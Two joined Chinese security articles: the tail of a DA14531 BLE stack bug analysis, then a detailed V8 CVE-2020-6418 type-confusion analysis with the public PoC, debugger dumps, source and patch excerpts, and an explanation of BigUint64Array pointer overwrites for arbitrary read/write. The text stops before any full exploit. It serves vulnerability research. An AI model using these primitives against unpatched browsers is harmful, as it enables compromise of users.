v28 = (pkt_length - use_size);
dst = (2 * ((dst + 1) >> 1));
v31 = 1;
qmemcpy(dst, infomation_payload, v28);
use_size = (use_size + v28);
v21 = &dst[v28];
goto LABEL_67;
}
`use_size` 表示已经解析的数据长度, `p_rem_len` 表示`p_pdu`和`p_buffer`的大小.
当 v22 为 75 时, 会直接从infomation_payload拷贝 0x10 字节的数据到p_pdu里面,
如果此时p_pdu和infomation_payload剩余字节数小于0x10就会导致越界读写。
当 v22 为 97 时，会计算infomation_payload剩余大小v28，然后会对 `dst + 1`，最后把v28字节数据拷贝到dst ，
**一字节溢出** 。
该函数中的其他分支也有类似的问题，不过由于`hci_acl_data_rx_handler`函数在给`l2cc_pdu_recv`分配内存时多分配了0x4C字节，且l2cc_pdu_unpack_func里面的越界大小最大也只有0x10，实际越界写也无法利用。
l2cc_pdu_recv = ke_msg_alloc(dword_7F14010 - 1, ::dest_id, dest_id, data_length + 0x4C);/
### 处理ATT报文时多处越界读可能导致DOS
sub_7F135F6用于处理ATT报文，该函数会调用attc_l2cc_pdu_recv_handler进行处理
int attc_l2cc_pdu_recv_handler_func(int code, l2cc_pdu_recv_ind *l2cc_pdu_recv)
{
v5 = l2cc_pdu_recv->pdu.data.code;
for ( i = 0; i < 0xE; i = (i + 1) )
{
if ( attc_handlers_0_0[i].code == v5 )
{
func = attc_handlers_0_0[i].func;
}
}
if ( func )
{
result = func(code, &l2cc_pdu_recv->pdu.data);
}
return result;
}
函数首先会根据pdu的code从attc_handlers_0_0里面找到对应的处理函数，然后调用处理函数进行处理，attc_handlers函数表如下
rom_ble:07F1FD64 attc_handlers_0 att_handler_item <3, 0, sub_7F0FC0C+1>
rom_ble:07F1FD64 att_handler_item <5, 0, sub_7F0FC44+1>
rom_ble:07F1FD64 att_handler_item <7, 0, sub_7F0FCFE+1>
rom_ble:07F1FD64 att_handler_item <9, 0, sub_7F0FDB4+1>
rom_ble:07F1FD64 att_handler_item <0x11, 0, sub_7F10054+1>
rom_ble:07F1FD64 att_handler_item <0xB, 0, sub_7F1015C+1>
rom_ble:07F1FD64 att_handler_item <0xD, 0, sub_7F1015C+1>
rom_ble:07F1FD64 att_handler_item <0xF, 0, sub_7F10266+1>
rom_ble:07F1FD64 att_handler_item <0x13, 0, sub_7F1032C+1>
rom_ble:07F1FD64 att_handler_item <0x17, 0, sub_7F1034C+1>
rom_ble:07F1FD64 att_handler_item <0x19, 0, sub_7F103AE+1>
rom_ble:07F1FD64 att_handler_item <1, 0, sub_7F1045C+1>
rom_ble:07F1FD64 att_handler_item <0x1D, 0, sub_7F103E6+1>
rom_ble:07F1FD64 att_handler_item <0x1B, 0, sub_7F103E6+1>
这里面的回调函数有一些共性问题，这里以`sub_7F0FC44`为例
int __fastcall sub_7F0FC44(int code, int data)
{
if ( *(data + 1) == 1 )
{
v4 = 2;
}
else
{
v4 = 16;
}
idx = 0;
item_count = v4;
while ( *(data + 2) > idx )
{
msg = ke_msg_alloc(dword_7F0FEBC - 21, v7, (code << 8) + 8, item_count + 4);
*msg = (*(data + idx + 5) << 8) | *(data + idx + 4);
*(msg + 2) = item_count;
idx_1 = (idx + 2);
qmemcpy((msg + 3), (data + idx_1 + 4), item_count);
idx = (idx_1 + item_count);
ke_msg_send(msg);
}
函数首先根据 `data + 1`处的一个字节来决定 `item_count` 的值 （2 或者 16），然后会从 `data + 2`
开始取出2字节作为循环的边界，不断的从 `data` 拷贝数据，并发送消息，这个过程没有检查数据长度，所以最多可以拷贝 `0xffff * 16` 字节。
## 总结
本文主要介绍了DA14531芯片BLE底层协议栈（LL层和L2CAP）收包处理，并提供挖掘BLE协议栈漏洞的思路，其实和普通漏洞挖掘没有太大区别，关键是定位污点数据，然后就是常规的源码分析和Fuzz测试技术的运用。
## 参考链接
https://blog.csdn.net/zhoutaopower/article/details/95104632 | 社区文章 |
## 基础知识 -- Pointer compression
`Pointer compression`是`v8 8.0`中为提高64位机器内存利用率而引入的机制。
篇幅的原因，这里只简要说下和漏洞利用相关的部分，其余的可以看参考链接。
示例代码：
let aa = [1, 2, 3, 4];
%DebugPrint(aa);
%SystemBreak();
首先是指针长度的变化，之前指针都是`64`位的，现在是`32`位。而对象地址中高位的`32`字节是基本不会改变的，每次花4个字节来存储高32位地址是浪费空间。因此`8.0`的v8，申请出`4GB`的空间作为堆空间分配对象，将它的高`32`位保存在它的根寄存器中（`x64`为`r13`）。在访问某个对象时，只需要提供它的低`32`位地址，再加上根寄存器中的值机可以得到完整的地址，因此所有的对象指针的保存只需要保存`32`位。
在示例代码中可以看到`aa`的地址为`0x12e0080c651d`，查看对象中的数据，看到`elements`字段的地址为`0x0825048d`，它的根寄存器`r13`为`0x12e000000000`，因此`elements`的完整地址是`0x12e000000000+0x0825048d=0x12e00825048d`。
pwndbg> job 0x12e0080c651d
0x12e0080c651d: [JSArray]
- map: 0x12e0082817f1 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x12e008248f7d <JSArray[0]>
- elements: 0x12e00825048d <FixedArray[4]> [PACKED_SMI_ELEMENTS (COW)]
- length: 4
- properties: 0x12e0080406e9 <FixedArray[0]> {
#length: 0x12e0081c0165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x12e00825048d <FixedArray[4]> {
0: 1
1: 2
2: 3
3: 4
}
pwndbg> x/4wx 0x12e0080c651c
0x12e0080c651c: 0x082817f1 0x080406e9 0x0825048d 0x00000008 ;; map | properties | elements | length
pwndbg> i r r13
r13 0x12e000000000 0x12e000000000
pwndbg> print 0x12e000000000+0x0825048d
$170 = 0x12e00825048d
其次是`SMI`的表示，之前64位系统中`SMI`的表示是`value<<32`，由于要节约空间且只需要最后一比特来作为`pointer
tag`，于是现在将`SMI`表示成`value<<1`。这样`SMI`表示也从占用64字节变成了32字节。
看示例代码中`aa`对象的`elements`，如下所示，可以看到所有的数字都翻倍了，那是因为`SMI`的表示是`value<<1`，而左移一位正是乘以2。
pwndbg> job 0x12e00825048d ;; elements
0x12e00825048d: [FixedArray] in OldSpace
- map: 0x12e0080404d9 <Map>
- length: 4
0: 1
1: 2
2: 3
3: 4
pwndbg> x/6wx 0x12e00825048c
0x12e00825048c: 0x080404d9 0x00000008 0x00000002 0x00000004
0x12e00825049c: 0x00000006 0x00000008
`Pointer compression`给`v8`的内存带来的提升接近于40%，还是比较大的。当然也还有很多细节没有说明，本打算写一篇关于`Pointer
compression`的文章，但是由于这个漏洞的出现，所以就鸽了，以后有机会再写。
可以想到的是当一个数组从`SMI`数组，转换成`DOUBLE`数组时，它所占用的空间几乎会翻倍；同时数组从`DOUBLE`数组变成`object`数组时，占用空间会缩小一半。
## 描述
`cve-2020-6418`是前几天曝出来的v8的一个类型混淆漏洞，谷歌团队在捕获的一个在野利用的漏洞，`80.0.3987.122`版本前的chrome都受影响。
根据[commit](https://chromium.googlesource.com/v8/v8/+/fb0a60e15695466621cf65932f9152935d859447)先编译v8：
git reset --hard bdaa7d66a37adcc1f1d81c9b0f834327a74ffe07
gclient sync
tools/dev/gm.py x64.release
tools/dev/gm.py x64.debug
## 分析
### poc分析
回归测试代码poc如下：
// Copyright 2020 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --allow-natives-syntax
let a = [0, 1, 2, 3, 4];
function empty() {}
function f(p) {
a.pop(Reflect.construct(empty, arguments, p));
}
let p = new Proxy(Object, {
get: () => (a[0] = 1.1, Object.prototype)
});
function main(p) {
f(p);
}
%PrepareFunctionForOptimization(empty);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(main);
main(empty);
main(empty);
%OptimizeFunctionOnNextCall(main);
main(p);
用`release`版本的v8运行不会报错，使用debug版本的v8运行会报错。
根据`commit`中的信息，应该是`a.pop`调用的时候，没有考虑到`JSCreate`结点存在的`side-effect`（会触发回调函数），改变`a`的类型（变成`DOUBLE`），仍然按之前的类型（`SMI`）处理。
[turbofan] Fix bug in receiver maps inference
JSCreate can have side effects (by looking up the prototype on an
object), so once we walk past that the analysis result must be marked
as "unreliable".
为了验证，可以将`pop`的返回值打印出来，加入代码：
let a = [0, 1, 2, 3, 4];
function empty() {}
function f(p) {
return a.pop(Reflect.construct(empty, arguments, p)); // return here
}
let p = new Proxy(Object, {
get: () => (a[0] = 1.1, Object.prototype)
});
function main(p) {
return f(p); // return here
}
%PrepareFunctionForOptimization(empty);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(main);
print main(empty);
print main(empty);
%OptimizeFunctionOnNextCall(main);
print(main(p));
运行打印出来的结果，看到最后一次本来应该输出`2`的，却输出为`0`。
$ ../v8/out/x64.release/d8 --allow-natives-syntax ./poc.js
4
3
0
猜想应该是在`Proxy`中a的类型从`PACKED_SMI_ELEMENTS`数组改成了`PACKED_DOUBLE_ELEMENTS`数组，最后`pop`返回的时候仍然是按`SMI`进行返回，返回的是相应字段的数据。
在`Proxy`函数中加入语句进行调试：
let p = new Proxy(Object, {
get: () => {
%DebugPrint(a);
%SystemBreak();
a[0] = 1.1;
%DebugPrint(a);
%SystemBreak();
return Object.prototype;
}
});
第一次断点相关数据如下，在`elements`中可以看到偏移`+8`为起始的数据的位置，`a[2]`对应为`2`。
pwndbg> job 0x265a080860cd
0x265a080860cd: [JSArray]
- map: 0x265a082417f1 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x265a08208f7d <JSArray[0]>
- elements: 0x265a0808625d <FixedArray[5]> [PACKED_SMI_ELEMENTS]
- length: 3
- properties: 0x265a080406e9 <FixedArray[0]> {
#length: 0x265a08180165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x265a0808625d <FixedArray[5]> {
0: 0
1: 1
2: 2
3-4: 0x265a08040385 <the_hole>
}
pwndbg> x/10wx 0x265a080860cc ;; a
0x265a080860cc: 0x082417f1 0x080406e9 0x0808625d 0x00000006 ;; map | properties | elements | length
0x265a080860dc: 0x08244e79 0x080406e9 0x080406e9 0x08086109
0x265a080860ec: 0x080401c5 0x00010001
pwndbg> job 0x265a0808625d
0x265a0808625d: [FixedArray]
- map: 0x265a080404b1 <Map>
- length: 5
0: 0
1: 1
2: 2
3-4: 0x265a08040385 <the_hole>
pwndbg> x/10wx 0x265a0808625c ;; a's elements
0x265a0808625c: 0x080404b1 0x0000000a 0x00000000 0x00000002 ;; map | length | a[0] | a[1]
0x265a0808626c: 0x00000004 0x08040385 0x08040385 0x08241f99 ;; a[2] | a[3] | a[4]
0x265a0808627c: 0x00000006 0x082104f1
第二次断点，`a`的类型改变后相关数据如下：
pwndbg> job 0x265a080860cd ;; a
0x265a080860cd: [JSArray]
- map: 0x265a08241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x265a08208f7d <JSArray[0]>
- elements: 0x265a08086319 <FixedDoubleArray[5]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x265a080406e9 <FixedArray[0]> {
#length: 0x265a08180165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x265a08086319 <FixedDoubleArray[5]> {
0: 1.1
1: 1
2: 2
3-4: <the_hole>
}
pwndbg> x/10wx 0x265a080860cc ;; a
0x265a080860cc: 0x08241891 0x080406e9 0x08086319 0x00000006
0x265a080860dc: 0x08244e79 0x080406e9 0x080406e9 0x08086109
0x265a080860ec: 0x080401c5 0x00010001
pwndbg> job 0x265a08086319 ;; a's elements
0x265a08086319: [FixedDoubleArray]
- map: 0x265a08040a3d <Map>
- length: 5
0: 1.1
1: 1
2: 2
3-4: <the_hole>
pwndbg> x/12wx 0x265a08086318 ;; a's elements
0x265a08086318: 0x08040a3d 0x0000000a 0x9999999a 0x3ff19999 ;; map | properties | elements | length
0x265a08086328: 0x00000000 0x3ff00000 0x00000000 0x40000000
0x265a08086338: 0xfff7ffff 0xfff7ffff 0xfff7ffff 0xfff7ffff
pwndbg> x/10gx 0x265a08086318 ;; a's elements
0x265a08086318: 0x0000000a08040a3d 0x3ff199999999999a
0x265a08086328: 0x3ff0000000000000 0x4000000000000000
0x265a08086338: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
在`pointer
compresssion`中我们知道`SMI`是用32位表示，`double`仍然是使用`64`位表示的，可以看到其所对应的`SMI`表示`a[2]`所在的位置刚好是`0`，验证了猜想。
可以看到对应的`a[3]`的数据是`浮点数`表示的数字`1`（`0x3ff0000000000000`）的高位，因此如果我们将`a`的长度加1，使得它最后`pop`出来的是`a[3]`的话，将数组改成`let
a = [0, 1, 2, 3, 4, 5];`，会打印出来的将是`0x3ff00000>>1==536346624`，运行验证如下：
$ ../v8/out/x64.release/d8 --allow-natives-syntax ./poc.js
5
4
536346624
到此，从poc层面理解漏洞结束，下面我们再从源码层面来理解漏洞。
### 源码分析
#### JSCallReducer中的builtin inlining
在对漏洞进行分析前，需要先讲述下`JSCallReducer`中的`builtin inlining`的原理。
之前在`inlining`的分析中说过，`builtin`的`inlining`发生在两个阶段：
* 在`inlining and native context specialization`时会调用`JSCallReducer`来对`builtin`进行`inlining`。
* 在`typed lowering`阶段调用`JSBuiltinReducer`对`builtin`进行`inlining`。
上面两种情况下，`Reducer`都会尝试尽可能的将内置函数中最快速的路径内联到函数中来替换相应的`JSCall`结点。
对于`builtin`该在哪个阶段（第一个阶段还是第二个）发生`inlining`则没有非常严格的规定，但是遵循以下的原则：`inlining`时对它周围结点的类型信息依赖度比较高的`builtin`，需要在后面的`typed
lowering`阶段能够获取相应结点的类型信息后，再在`JSBuiltinReducer`中进行`inlining`；而具有较高优先级（把它们先进行内联后，后续可以更好的优化）的内置函数则要在`inlining
and native context
specialization`阶段的`JSCallReducer`中进行内联，如`Array.prototype.pop`、`Array.prototype.push`、`Array.prototype.map`、
`Function.prototype.apply`以及`Function.prototype.bind`函数等。
`JSCallReducer`的`ReduceJSCall`相关代码如下，可以看到它会根据不同的`builtin_id`来调用相关的`Reduce`函数。
// compiler/js-call-reducer.cc:3906
Reduction JSCallReducer::ReduceJSCall(Node* node,
const SharedFunctionInfoRef& shared) {
DCHECK_EQ(IrOpcode::kJSCall, node->opcode());
Node* target = NodeProperties::GetValueInput(node, 0);
// Do not reduce calls to functions with break points.
if (shared.HasBreakInfo()) return NoChange();
// Raise a TypeError if the {target} is a "classConstructor".
if (IsClassConstructor(shared.kind())) {
NodeProperties::ReplaceValueInputs(node, target);
NodeProperties::ChangeOp(
node, javascript()->CallRuntime(
Runtime::kThrowConstructorNonCallableError, 1));
return Changed(node);
}
// Check for known builtin functions.
int builtin_id =
shared.HasBuiltinId() ? shared.builtin_id() : Builtins::kNoBuiltinId;
switch (builtin_id) {
case Builtins::kArrayConstructor:
return ReduceArrayConstructor(node);
...
case Builtins::kReflectConstruct:
return ReduceReflectConstruct(node);
...
case Builtins::kArrayPrototypePop:
return ReduceArrayPrototypePop(node);
`poc`中`a.pop`函数所对应的`builtin_id`为`kArrayPrototypePop`。
这个阶段的`inlining`的一个很重要的思想是：确定调用该内置函数的对象的类型；有了相应的类型后，可以根据对象的类型快速的实现相应的功能，从而去掉冗余的多种类型兼容的操作。
如`kArrayPrototypePop`函数功能则是根据对象的类型，将它最后一个元素直接弹出。当`a.pop`如果知道`a`的类型为`PACKED_SMI_ELEMENTS`，则可以根据`PACKED_SMI_ELEMENTS`类型，直接通过偏移找到该类型最后一个元素的位置（而不用通过复杂运行时来确定），将它置为`hole`，更新数组长度，并返回该元素的值。
这个过程有一个很重要的前置条件则是确定调用`builtin`函数的对象进行类型。只有知道了对象的类型，才能够知道相应字段的偏移和位置等，从而快速实现该功能。
如何确定输入对象的类型，以及它的类型是否可靠，`v8`代码通过`MapInference`类来实现。
该类的相关代码如下所示，它的作用正如它的注释所示，主要包括两点：
1. 推断传入的对象的类型（`MAP`）并返回；
2. 根据传入的`effect`，决定推测的返回对象类型（`MAP`）结果是否可靠，`reliable`表示返回的对象的类型是可靠的，在后面使用该对象时无需进行类型检查，即可根据该类型进行使用；如果是`reliable`则表示该类型不一定准确，在后面使用时需要加入检查（加入`MAP Check`），才能使用。
// compiler/map-inference.h:25
// The MapInference class provides access to the "inferred" maps of an
// {object}. This information can be either "reliable", meaning that the object
// is guaranteed to have one of these maps at runtime, or "unreliable", meaning
// that the object is guaranteed to have HAD one of these maps.
//
// The MapInference class does not expose whether or not the information is
// reliable. A client is expected to eventually make the information reliable by
// calling one of several methods that will either insert map checks, or record
// stability dependencies (or do nothing if the information was already
// reliable).
// compiler/map-inference.cc:18
MapInference::MapInference(JSHeapBroker* broker, Node* object, Node* effect)
: broker_(broker), object_(object) {
ZoneHandleSet<Map> maps;
auto result =
NodeProperties::InferReceiverMapsUnsafe(broker_, object_, effect, &maps);
maps_.insert(maps_.end(), maps.begin(), maps.end());
maps_state_ = (result == NodeProperties::kUnreliableReceiverMaps)
? kUnreliableDontNeedGuard
: kReliableOrGuarded;
DCHECK_EQ(maps_.empty(), result == NodeProperties::kNoReceiverMaps);
}
`MapInference`构造函数调用`InferReceiverMapsUnsafe`函数来判断推断的`Map`是否可靠，如下所示。它会遍历将该`object`作为`value
input`的结点的`effect`链，追溯看是否存在改变`object`类型的代码。如果没有会改变对象类型的代码，则返回`kReliableReceiverMaps`；如果存在结点有属性`kNoWrite`以及改变对象类型的操作，则表示代码运行过程中可能会改变对象的类型，返回`kUnreliableReceiverMaps`，表示返回的`MAP`类型不可靠。
// compiler/node-properties.cc:337
// static
NodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe(
JSHeapBroker* broker, Node* receiver, Node* effect,
ZoneHandleSet<Map>* maps_return) {
HeapObjectMatcher m(receiver);
if (m.HasValue()) {
HeapObjectRef receiver = m.Ref(broker);
// We don't use ICs for the Array.prototype and the Object.prototype
// because the runtime has to be able to intercept them properly, so
// we better make sure that TurboFan doesn't outsmart the system here
// by storing to elements of either prototype directly.
//
// TODO(bmeurer): This can be removed once the Array.prototype and
// Object.prototype have NO_ELEMENTS elements kind.
if (!receiver.IsJSObject() ||
!broker->IsArrayOrObjectPrototype(receiver.AsJSObject())) {
if (receiver.map().is_stable()) {
// The {receiver_map} is only reliable when we install a stability
// code dependency.
*maps_return = ZoneHandleSet<Map>(receiver.map().object());
return kUnreliableReceiverMaps;
}
}
}
InferReceiverMapsResult result = kReliableReceiverMaps;
while (true) {
switch (effect->opcode()) {
case IrOpcode::kMapGuard: {
Node* const object = GetValueInput(effect, 0);
if (IsSame(receiver, object)) {
*maps_return = MapGuardMapsOf(effect->op());
return result;
}
break;
}
case IrOpcode::kCheckMaps: {
Node* const object = GetValueInput(effect, 0);
if (IsSame(receiver, object)) {
*maps_return = CheckMapsParametersOf(effect->op()).maps();
return result;
}
break;
}
case IrOpcode::kJSCreate: {
if (IsSame(receiver, effect)) {
base::Optional<MapRef> initial_map = GetJSCreateMap(broker, receiver);
if (initial_map.has_value()) {
*maps_return = ZoneHandleSet<Map>(initial_map->object());
return result;
}
// We reached the allocation of the {receiver}.
return kNoReceiverMaps;
}
break;
}
default: {
DCHECK_EQ(1, effect->op()->EffectOutputCount());
if (effect->op()->EffectInputCount() != 1) {
// Didn't find any appropriate CheckMaps node.
return kNoReceiverMaps;
}
if (!effect->op()->HasProperty(Operator::kNoWrite)) {
// Without alias/escape analysis we cannot tell whether this
// {effect} affects {receiver} or not.
result = kUnreliableReceiverMaps;
}
break;
...
// Stop walking the effect chain once we hit the definition of
// the {receiver} along the {effect}s.
if (IsSame(receiver, effect)) return kNoReceiverMaps;
// Continue with the next {effect}.
DCHECK_EQ(1, effect->op()->EffectInputCount());
effect = NodeProperties::GetEffectInput(effect);
}
}
最后来看数组对象的`Array.prototype.pop`函数所对应的`ReduceArrayPrototypePop`函数是如何实现`builtin
inlining`的，相关代码如下所示，主要功能为：
1. 获取`pop`函数所对应的`JSCall`结点的`value`、`effect`以及`control`输入；其中`value`输入即为调用该函数的对象，即`a.pop`中的`a`。
2. 调用`MapInference`来推断调用`pop`函数对象类型的`MAP`，如果没有获取到对象的类型，则不进行优化；
3. 调用`RelyOnMapsPreferStability`，来查看获取的类型是否可靠。如果可靠，则无需加入类型检查；如果不可靠，则需要加入类型检查。
4. 因为前面三步确认了调用`pop`函数的对象类型，后面就是具体的功能实现，可以直接看注释。根据获取的对象的类型，得到`length`、计算新的`length`、获取数组的最后一个值用于返回、将数组的最后一个字段赋值为`hole`。
// compiler/js-call-reducer.cc:4910
// ES6 section 22.1.3.17 Array.prototype.pop ( )
Reduction JSCallReducer::ReduceArrayPrototypePop(Node* node) {
DisallowHeapAccessIf disallow_heap_access(should_disallow_heap_access());
...
Node* receiver = NodeProperties::GetValueInput(node, 1); // 获取value输入
Node* effect = NodeProperties::GetEffectInput(node); // 获取effect输入
Node* control = NodeProperties::GetControlInput(node); // 获取control输入
MapInference inference(broker(), receiver, effect); // 获取调用`pop`函数的对象的类型
if (!inference.HaveMaps()) return NoChange(); // 如果没有获取到该对象的类型，不进行优化
MapHandles const& receiver_maps = inference.GetMaps();
std::vector<ElementsKind> kinds;
if (!CanInlineArrayResizingBuiltin(broker(), receiver_maps, &kinds)) {
return inference.NoChange();
}
if (!dependencies()->DependOnNoElementsProtector()) UNREACHABLE();
inference.RelyOnMapsPreferStability(dependencies(), jsgraph(), &effect,
control, p.feedback()); // 根据类型是否可靠，确定是否要加入类型检查
std::vector<Node*> controls_to_merge;
std::vector<Node*> effects_to_merge;
std::vector<Node*> values_to_merge;
Node* value = jsgraph()->UndefinedConstant();
Node* receiver_elements_kind =
LoadReceiverElementsKind(receiver, &effect, &control);
// Load the "length" property of the {receiver}.
Node* length = effect = graph()->NewNode(
simplified()->LoadField(AccessBuilder::ForJSArrayLength(kind)),
receiver, effect, control);
...
// Compute the new {length}.
length = graph()->NewNode(simplified()->NumberSubtract(), length,
jsgraph()->OneConstant());
...
// Store the new {length} to the {receiver}.
efalse = graph()->NewNode(
simplified()->StoreField(AccessBuilder::ForJSArrayLength(kind)),
receiver, length, efalse, if_false);
...
// Load the last entry from the {elements}.
vfalse = efalse = graph()->NewNode(
simplified()->LoadElement(AccessBuilder::ForFixedArrayElement(kind)),
elements, length, efalse, if_false);
...
// Store a hole to the element we just removed from the {receiver}.
efalse = graph()->NewNode(
simplified()->StoreElement(
AccessBuilder::ForFixedArrayElement(GetHoleyElementsKind(kind))),
elements, length, jsgraph()->TheHoleConstant(), efalse, if_false);
ReplaceWithValue(node, value, effect, control);
return Replace(value);
}
最后来看下`RelyOnMapsPreferStability`函数是怎么实现加入检查或不加的。当`maps_state_`不是`kUnreliableNeedGuard`的时候，即返回的类型推断是可信的时候，则什么都不干直接返回；当类型是不可信的时候，最终会调用`InsertMapChecks`在图中插入`CheckMaps`结点。
// compiler/js-call-reducer.cc:120
bool MapInference::RelyOnMapsPreferStability(
CompilationDependencies* dependencies, JSGraph* jsgraph, Node** effect,
Node* control, const FeedbackSource& feedback) {
CHECK(HaveMaps());
if (Safe()) return false;
if (RelyOnMapsViaStability(dependencies)) return true;
CHECK(RelyOnMapsHelper(nullptr, jsgraph, effect, control, feedback));
return false;
}
// compiler/map-inference.cc:120
bool MapInference::Safe() const { return maps_state_ != kUnreliableNeedGuard; }
// compiler/map-inference.cc:114
bool MapInference::RelyOnMapsViaStability(
CompilationDependencies* dependencies) {
CHECK(HaveMaps());
return RelyOnMapsHelper(dependencies, nullptr, nullptr, nullptr, {});
}
// compiler/map-inference.cc:130
bool MapInference::RelyOnMapsHelper(CompilationDependencies* dependencies,
JSGraph* jsgraph, Node** effect,
Node* control,
const FeedbackSource& feedback) {
if (Safe()) return true;
auto is_stable = [this](Handle<Map> map) {
MapRef map_ref(broker_, map);
return map_ref.is_stable();
};
if (dependencies != nullptr &&
std::all_of(maps_.cbegin(), maps_.cend(), is_stable)) {
for (Handle<Map> map : maps_) {
dependencies->DependOnStableMap(MapRef(broker_, map));
}
SetGuarded();
return true;
} else if (feedback.IsValid()) {
InsertMapChecks(jsgraph, effect, control, feedback);
return true;
} else {
return false;
}
}
// compiler/map-inference.cc:101
void MapInference::InsertMapChecks(JSGraph* jsgraph, Node** effect,
Node* control,
const FeedbackSource& feedback) {
CHECK(HaveMaps());
CHECK(feedback.IsValid());
ZoneHandleSet<Map> maps;
for (Handle<Map> map : maps_) maps.insert(map, jsgraph->graph()->zone());
*effect = jsgraph->graph()->NewNode(
jsgraph->simplified()->CheckMaps(CheckMapsFlag::kNone, maps, feedback),
object_, *effect, control);
SetGuarded();
}
#### 漏洞分析
理解了上面说的`builtin inling`以后理解漏洞就很简单了。
根据`patch`，漏洞出现在`InferReceiverMapsUnsafe`中，相关代码如下：
// compiler/node-properties.cc:337
// static
NodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe(
JSHeapBroker* broker, Node* receiver, Node* effect,
ZoneHandleSet<Map>* maps_return) {
HeapObjectMatcher m(receiver);
...
InferReceiverMapsResult result = kReliableReceiverMaps;
while (true) {
switch (effect->opcode()) {
case IrOpcode::kJSCreate: {
if (IsSame(receiver, effect)) {
base::Optional<MapRef> initial_map = GetJSCreateMap(broker, receiver);
if (initial_map.has_value()) {
*maps_return = ZoneHandleSet<Map>(initial_map->object());
return result;
}
// We reached the allocation of the {receiver}.
return kNoReceiverMaps;
}
+ result = kUnreliableReceiverMaps; // JSCreate can have side-effect.
break;
`patch`后的代码在`InferReceiverMapsUnsafe`函数中遍历到`kJSCreate`将类型赋值为`kUnreliableReceiverMaps`，即认为`JSCreate`可能会给当前对象的类型造成改变。
因此在漏洞版本的`v8`当中，代码认为`JSCreate`结点是不会改变当前的类型的类型的，即没有`side-effect`。而实际在poc中可以看到`Reflect.construct`转换成`JSCreate`结点，且它可以通过`Proxy`来触发回调函数来执行任意代码，当然也包括修改相应对象的类型，因此它是存在`side-effect`的。
正是对于`JSCreate`结点的`side-effect`判断错误，认为它没有`side-effect`，最终返回`kReliableReceiverMaps`。导致在`builtin
inlining`过程中`RelyOnMapsPreferStability`函数没有加入`CheckMaps`结点，但是仍然按之前的类型进行功能实现（实际类型已经发生改变），导致类型混淆漏洞的产生。
在`poc`函数中，`a.pop`函数是不需要参数的，但是将`Reflect.construct`作为它的参数目标是在`JSCreate`结点和`JSCall`结点之间生成一条`effect`链。
当然其他`builtin`函数的内联也会触发这个洞，这里的`array.prototype.pop`可以触发越界读；`array.protype.push`则可以触发越界写。
## 利用
因为`pointer
compression`的存在，不能像之前一样无脑通过`ArrayBuffer`来进行任意读写了。但是很容易想到的是可以通过改写数组结构体`elements`或`properties`指针的方式实现堆的`4GB`空间内任意相对地址读写；可以通过修改`ArrayBuffer`结构体的`backing_store`指针来实现绝对地址的读写。
### BigUint64Array对象介绍
在这里再介绍对象`BigUint64Array`的结构体，通过它我们既可以实现`4GB`堆空间内相对地址的读写；又可以实现任意绝对地址的读写。
示例代码如下：
let aa = new BigUint64Array(4);
aa[0] = 0x1122334455667788n;
aa[1] = 0xaabbaabbccddccddn;
aa[2] = 0xdeadbeefdeadbeefn;
aa[3] = 0xeeeeeeeeffffffffn;
%DebugPrint(aa);
%SystemBreak();
运行后数据如下，需要关注的是它的`length`、`base_pointer`以及`external_pointer`字段。它们和之前的指针不一样，都是`64`字节表示，且没有任何的`tag`标志。
pwndbg> job 0x179a080c6669
0x179a080c6669: [JSTypedArray]
- map: 0x179a08280671 <Map(BIGUINT64ELEMENTS)> [FastProperties]
- prototype: 0x179a08242bc9 <Object map = 0x179a08280699>
- elements: 0x179a080c6641 <ByteArray[32]> [BIGUINT64ELEMENTS]
- embedder fields: 2
- buffer: 0x179a080c6611 <ArrayBuffer map = 0x179a08281189>
- byte_offset: 0
- byte_length: 32
- length: 4
- data_ptr: 0x179a080c6648
- base_pointer: 0x80c6641
- external_pointer: 0x179a00000007
- properties: 0x179a080406e9 <FixedArray[0]> {}
- elements: 0x179a080c6641 <ByteArray[32]> {
0: 1234605616436508552
1: 12302614530665336029
2: 16045690984833335023
3: 17216961135748579327
}
- embedder fields = {
0, aligned pointer: (nil)
0, aligned pointer: (nil)
}
pwndbg> x/16wx 0x179a080c6668
0x179a080c6668: 0x08280671 0x080406e9 0x080c6641 0x080c6611
0x179a080c6678: 0x00000000 0x00000000 0x00000020 0x00000000
0x179a080c6688: 0x00000004 0x00000000 0x00000007 0x0000179a
0x179a080c6698: 0x080c6641 0x00000000 0x00000000 0x00000000
pwndbg> x/3gx 0x179a080c6688
0x179a080c6688: 0x0000000000000004 0x0000179a00000007
0x179a080c6698: 0x00000000080c6641
它的数据存储是在`data_ptr`中，`data_ptr`的表示是`base_pointer+external_pointer`：
pwndbg> print 0x80c6641+0x179a00000007
$171 = 0x179a080c6648
pwndbg> x/4gx 0x179a080c6648
0x179a080c6648: 0x1122334455667788 0xaabbaabbccddccdd
0x179a080c6658: 0xdeadbeefdeadbeef 0xeeeeeeeeffffffff
`external_pointer`是高`32`位地址的值，`base_pointer`刚好就是相对于高`32`位地址的`4GB`堆地址的空间的偏移。初始时`external_pointer`的地址刚好是根寄存器`r13`的高`32`位。
因此我们可以通过覆盖`base_pointer`来实现`4GB`堆地址空间的任意读写；可以通过读取`external_pointer`来获取根的值；可以通过覆盖`external_pointer`和`base_pointer`的值来实现绝对地址的任意读写。
当然`Float64Array`以及`Uint32Array`的结构体差不多也是这样，但是使用`BigInt`还有一个好处就是它的数据的`64`字节就是我们写入的`64`字节，不像`float`或者是`int`一样还需要转换。
### 漏洞利用
有了上面的基础后就可以进行漏洞利用了。
